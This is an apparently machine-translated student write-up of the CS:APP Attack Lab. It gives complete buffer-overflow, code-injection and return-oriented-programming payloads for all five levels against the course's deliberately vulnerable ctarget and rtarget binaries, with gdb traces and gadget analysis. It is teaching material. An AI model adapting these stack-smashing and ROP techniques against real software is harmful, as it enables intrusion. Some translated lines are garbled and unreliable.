preface
Please see the download of Attack Lab and the machine translation of official website documents in Experiment 3 of in-depth understanding of computer system
Experiment 3 of in-depth understanding of computer system Attack Lab download and official document machine translation
I think this document is very helpful to the whole experiment.
Level 1
First disassemble the whole ctarget to see what's inside
linux> objdump -d ctarget
There's a lot of content in it. Find what we need
test function
The test function calls the getbuf function
Touch1 function. You need to inject the touch1 function into the program
Test () calls getbuf (), and the getbuf () function can cause overflow, overflow to the memory storing the return address, and rewrite the return address. We just need to write the starting point of the touch1 () function into the return address of the getbuf () function. That is, test() - > getbuf() - >... - > getbuf() - > test() becomes test() - > getbuf() - >... - > getbuf() - > touch1().
You can see that the return address of the getbuf() function is 0x40176
We use gdb to debug ctarget
Break the getbuf() function
Running to a breakpoint with run -q stops. The first line of the getbuf function
View address of register% rsp
View the value of 0x5561dca0 memory address
4200822 (decimal) = 0x40176 (hexadecimal). In line with our ideas.
Now that the program has not been executed by 0x4017a8, we put a breakpoint on its next line
Use the address 0x4017ac on the next line to mark the breakpoint
Execute the program with continue and stop at the next breakpoint
The sub sub $0x28,% RSP x28,%rsp command was executed. 40 (decimal of 0x28) bytes are allocated to the stack
Look at the address of register% rsp
Now the return address of getbuf() should be stored in memory 0x5561dc78+40
Check it out. It's true
That is, as long as we store 40 bytes, we can go to the location of the return address in memory.
Then write the starting address of the touch1() function into the return address.
40 bytes
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Add the starting address of the touch1() function: 4017c0
It's a small end method on my machine, so it's
c0 17 40 00 00 00 00 00
Together, it is the following bytes
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
Try this answer (when you enter the answer, there should be no spaces. Spaces are also characters. They only express bytes)
It is found that it is wrong, because the number we enter will become ASCII code. The content in the red box should be
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
To find a string of ASCII codes for the above content. It's a little troublesome.
Use hex2 raw, which is a utility for generating byte sequences.
hold
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
Put it into one.txt file
Use I/O redirection
generate
Use I/O redirection to enter the contents of one-raw.txt into ctarget
The first stage is completed.
Level 2
Level 2 is an additional parameter based on Level 1
- Locate the byte representation of the address of the function touch2 to be injected so that the ret instruction at the end of the code of getbuf passes control to it.
- The first parameter is passed in register% rdi.
- The injected code should first save the cookie in register% rdi, and then use the ret instruction to pass control to touch2.
What you need to think about is how to set the value in register% rdi as a cookie, and then jump to touch2 function. That is, first jump from getbuf to a code region, then set the register% rdi from the code region, and then jump to the touch2 function. Where to find this code area, you can use the stack organization developed by getbuf (sub (sub $0x28,% RSP) x28,%rsp) to put the code into the stack.
Find this area and gdb debug ctarget
getbuf function
Set a breakpoint for 0x4017ac to see the starting address of stack organization%rsp
Debugging program, finished running sub sub $0x28,% RSPx28,%rsp
View address of register% rsp
This is the code area we are looking for. We let the getbuf function return to this code area (0x5561dc78)
This requirement is the same as Level1, but the bytes are different and become the following bytes
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
Return to 0x5561dc78, which is where we can put the code to be executed.
What code are we going to execute?
- Put the cookie value into the% rdi register
- Jump to touch2 function
My cookie value is 0x59b997fa
Put the cookie value into the% rdi register
movq $0x59b997fa,%rdi
Jump to the touch2 function and use the ret command
When the CPU executes the ret instruction, it is equivalent to POP IP—— Assembly language (Wang Shuang Third Edition) P190
The ret instruction pops a value from the stack and jumps to this address—— Deep understanding of computer systems P166
Therefore, we can press the address 0x4017ec of the touch2 function into the stack, and then use the ret command to jump.
Namely
pushq $0x4017ec ret
Together, the code to be injected is
movq $0x59b997fa,%rdi pushq $0x4017ec ret
To get its byte representation
Write. s assembly file
two.s:
movq $0x59b997fa,%rdi pushq $0x4017ec ret
Compile in disassembly
Open the two.d program obtained through disassembly
two.d:
two.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 ec 17 40 00 pushq $0x4017ec c: c3 retq
The bytes of the code to be injected are
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
Combined with the bytes of the injection return address above, i.e
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
The following is the same as the operation after Level1.
Put two.txt file
Using hex2raw
Use I/O redirection to enter the contents of two-raw.txt into ctarget
The second phase was completed.
Level 3
Level 3 is difficult on the basis of Level 2.
Pass a string as an argument. This string is a cookie.
- The string should contain 8 hexadecimal representations of the cookie.
- In C, a string is represented as a sequence of bytes followed by a byte with a value of 0. On a Linux machine, enter "man ascii" to see the byte representation of the required characters.
- The injected code should set register% rdi to the address of this string.
- When the functions hexpatch and strncmp are called, they push data onto the stack, overwriting the memory portion of the buffer used to hold getbuf. Therefore, you need to be careful about placing the string representation of the cookie.
With the experience of Level 1 and Level 2, let's write the basic things first. Like Level 2, find the code area (repeat the steps of Level 2).
gdb debugging ctarget
getbuf function
Set a breakpoint for 0x4017ac to see the starting address of stack organization%rsp
Debugging program, finished running sub sub $0x28,% RSPx28,%rsp
View address of register% rsp
This is the code area we are looking for. We let the getbuf function return to this code area (0x5561dc78)
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
Return to 0x5561dc78, which is where we can put the code to be executed.
What code are we going to execute?
- Let% rdi point to the starting address of the string cookie.
- Jump to touch3 function
String cookie s should be expressed in bytes. On Linux machines, enter "man ascii" to see the byte representation of the required characters
My cookie is 0x59b997fa, i.e
35 39 62 39 39 37 66 61
We can look at the bytes of the two.d file in Level 2.
two.d:
two.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 ec 17 40 00 pushq $0x4017ec c: c3 retq
I'm going to put the cookie in
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
But it should be noted that
The content of the red box is different.
The starting address of the code segment is 0x5561dc78, including "48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3" bytes, that is, put the cookie in 0x5561dc85. Let% rdi point to 0x5561dc85
The address of the touch3 function is 0x4018fa
Formation Code:
movq $0x5561dc85,%rdi pushq $0x4018fa retq
To get its byte representation
Write. s assembly file
three.s:
movq $0x5561dc85,%rdi pushq $0x4018fa retq
Compile in disassembly
Get the file three.d
three.d:
three.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 85 dc 61 55 mov $0x5561dc85,%rdi 7: 68 fa 18 40 00 pushq $0x4018fa c: c3 retq
The bytes obtained are expressed as
48 c7 c7 85 dc 61 55 68 fa 18 40 00 c3
Followed by a cookie value of
48 c7 c7 85 dc 61 55 68 fa 18 40 00 c3 35 39 62 39 39 37 66 61
Combined with the injection return address written above, i.e
48 c7 c7 85 dc 61 55 68 fa 18 40 00 c3 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
Well, this is a good attempt. Let's run it,
There seems to be a problem. Break the point to find the problem
After our injected code, the program is roughly
Test - > getbuf - > injected code - > touch3 - > hexpatch
Debugging with gdb
Start debugging after entering the string from getbuf.
Hit the breakpoint and run the program
View the value of the stack pointer $rsp at this time
After the program runs to the input string, the stack is roughly like this
Set a breakpoint for 0x4017bd and execute. After checking add $0x28 and% RSP execution, retq returns to the statement before execution.
The stack data is as follows
Then execute retq, pop up data from the stack (0x5561dc78), jump to this address, that is, jump to 0x5561dc78 and execute the code we injected.
The injected code is executed until retq stops, at this time% rdi=0x5561dc85.
After retq, jump to 0x4018fa, that is, the address of touch3
Set a breakpoint for the touch3 function and run to the breakpoint
View the data of stack pointer% rsp and 0x5561dca0
As shown in the figure above.
Stack after push%rbx is executed
Break the callq command that jumps to hexpatch
Run to breakpoint
View $RSP (stack pointer) and $RDI (first parameter) and $RSI (value of second parameter)
$rdi = 1505335290=0x59b997fa=cookie
$rsi = 0x5561dc85 points to the address of the string
Break the haxmatch function. Execute callq hexpatch and run to hexpatch. Executing the callq instruction will push the following instruction address into the stack as the return address. 0x401916
Check the value of 0x5561dc98, and it is true
Break the hexpatch function
Run to hexpatch
See that there are three registers in front of the stack. Hit the breakpoint at 0x401850 to see the situation after the stack.
Run to 0x401850
It can be seen that after pushing%rbp, our memory for storing cookie s is overwritten, so this is the reason for our failure.
Later, we will allocate memory space for data such as char[110], add $0xffffffffffffffff80,%rsp # allocate 128 bytes. After the instruction is run with a breakpoint to see the data after 128 bytes are allocated.
add Add $0xffffffffffffff80,% RSP xffffffffffffff80,%rsp instruction is% RSP =% RSP + $0xffffffffffffffff80 =% RSP + (- 0x80) =% rsp-128
View the value of $rsp
0x5561dc00 = Original% rsp(0x5561dc80)-0x80
As a result of the above debugging, it can be found that the place where we stored the cookie is overwritten by other data. We need to find a place to put cookies again. We found that the data at 0x5561dca8 in the frame of the test function will not be overwritten. You can put the cookie here.
Change the three.s assembly file code to
movq $0x5561dca8,%rdi pushq $0x4018fa retq
Compile decompile
Get three.d
three.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi 7: 68 fa 18 40 00 pushq $0x4018fa c: c3 retq
Get bytes
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3
Put the cookie at 0x5561dca8, that is, after returning the address, to sum up
obtain
three.txt
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61
Generate byte sequence using hex2 raw
Run ctarget
The third stage is done.
Level 4
I just saw this. I don't know how to do it. Invalid injection attack code
Where do I put my cookie s? How?
Where is the jump address?
Decompile the rtarget file first
linux> objdump -d rtarget
Find start_ farm~end_ Copy the code in the farm area, paste it to other places, and find out if there is any cookie data required. No. I don't know how to write, just compare it
Write down all that can represent instructions
Then it is mentioned in Level 2 that the solution is mainly
- Locate the byte representation of the address of the function touch2 to be injected so that the ret instruction at the end of the code of getbuf passes control to it.
- The first parameter is passed in register% rdi.
- The injected code should first save the cookie in register% rdi, and then use the ret instruction to pass control to touch2.
Note that the main useful instructions that appear above are movq and pop, including
pop %rax
movq %rax,%rdi
It caught my attention. Put the cookie on the top of the stack and pop up the data to% rax. When assigning the value from% rax to% rdi, I don't just complete "the first parameter is passed in register% rdi". I have to think about how to execute these two continuously. After the pop-up of the stack top cookie, if the new stack top is the address of movq%rax,%rdi, then retq can jump to movq%rax,%rdi.
At this time, I finally understood what was mentioned in the document
After movq% rax and% RDI are executed, if the new data at the top of the stack is the address of touch2, retq can jump to the touch2 function to find the address that matches the proposed instruction
Namely
0x4019ab starts with 58 90 c3
0x4019c5 starts with 48 89 c7 90 c3
0x90 is the byte code of nop. Its only function is to increase the program counter by 1. Here is to make the program to c3(retq).
After Level 3, I have a clear understanding of the stack. At first, I hope that the stack will move down so that we can complete our first step, that is, jump to 0x4019ab and execute pop% rax when returning
(Note: due to stack randomization, the addresses of all stacks are uncertain, so the stack memory addresses in Level 4 and Level 5 are only convenient to observe, because their offsets are still the same, and the stack is the whole.)
Pop%rax pops data from the top of the stack. We hope that the top of the stack is our cookie at this time.
After pop% rax is executed, execute the retq instruction. We hope that the top of the stack is the address of movq% rax and% RDI.
After the movq% rax and% rdi instructions are executed, the value in% rdi is a cookie.
When retq is executed, we hope that the top of the stack is the address 0x4017ec of the touch2 function.
The answer has come out. We just need to make the contents of the stack as shown above.
I've been theorizing for a long time, but I haven't debugged once. Now I start to practice (it's wonderful if I've done it once)!
four.txt:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 c5 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
It's really good (actually it's only twice. The first time, about one byte is written backwards, but what's the matter).
The fourth stage is done.
Level 5
First, write the instruction code in the file according to the following table.
Because the stack has randomization, the writing method like the previous question 3 will not work, because the content of the address you write dead may change greatly after randomization. The starting address of the stack will change, but the interval in the stack will not change, which is equivalent to the movement of the whole stack.
For example, we can put the cookie in "0x5561dcc8", which is 40 bytes from the top%rsp of the stack. After randomization, it is still 40 bytes from the top of the stack.
Notice this function
00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 retq
%rdi+%rsi can just meet the requirements of% rsp + offset, as long as% rdi=%rsp,% rsi = offset.
Look at all the possibilities listed above to see if they can be completed.
It can be satisfied after the following two steps
0000000000401aab <setval_350>: (48 89 e9: movq %rsp,%rax) 401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi) 401ab1: c3 retq 00000000004019c3 <setval_426>: (48 89 c7: movq %rax,%rdi) 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 retq
401aad: movq %rsp,%rax 4019c5: movq %rax,%rdi
Now there is the offset left. We put it on the stack and take it out, but now we can't determine what the offset is, so let the offset be x.
Out of stack
00000000004019a7 <addval_219>: (58: pop %rax) 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 retq
4019ab: pop %rax
The comprehensive is shown in the figure below
Now you need to assign the value (offset) of% rax to% rsi,
00000000004019db <getval_481>: (5c: pop %rsp) (89 c2: movl %eax,%edx) 4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax 4019e0: c3 retq 0000000000401a33 <getval_159>: (89 d1: movl %edx,%ecx) (38 c9: cmpb %cl,%cl) 401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax 401a38: c3 retq 0000000000401a25 <addval_187>: (89 ce: movl %ecx,%esi) (38 c0: cmpb %al,%al) 401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax 401a2b: c3 retq
The following instructions can be found
In this way, the value of% rax is assigned to% rsi
movl %eax,%edx movl %edx,%ecx movl %ecx,%esi
be careful:
cmpl %cl,%cl cmpb %al,%al
Operate on the lower order bytes of the register without changing their values
How does the movl instruction affect the upper 4 bytes of the register?
Current situation:
The following is execution
00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 retq
4019d6: lea (%rdi,%rsi,1),%rax
Then, after assigning the value of% rax to% rdi, jump to the touch3 function (0x4018fa)
00000000004019c3 <setval_426>: (48 89 c7: movq %rax,%rdi) 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 retq
4019c5: movq %rax,%rdi
The stack is as follows
We put the cookie at the top, that is
Calculate X. when the program executes movq% (RSP,% rax), the address of the cookie is found at the address stack "0x5561dca8", and the offset is 72 bytes (0x48)
As shown below
Finally, the following characters are generated
five.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ad 1a 40 00 00 00 00 00 c5 19 40 00 00 00 00 00 ab 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 27 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 c5 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
The last level is done.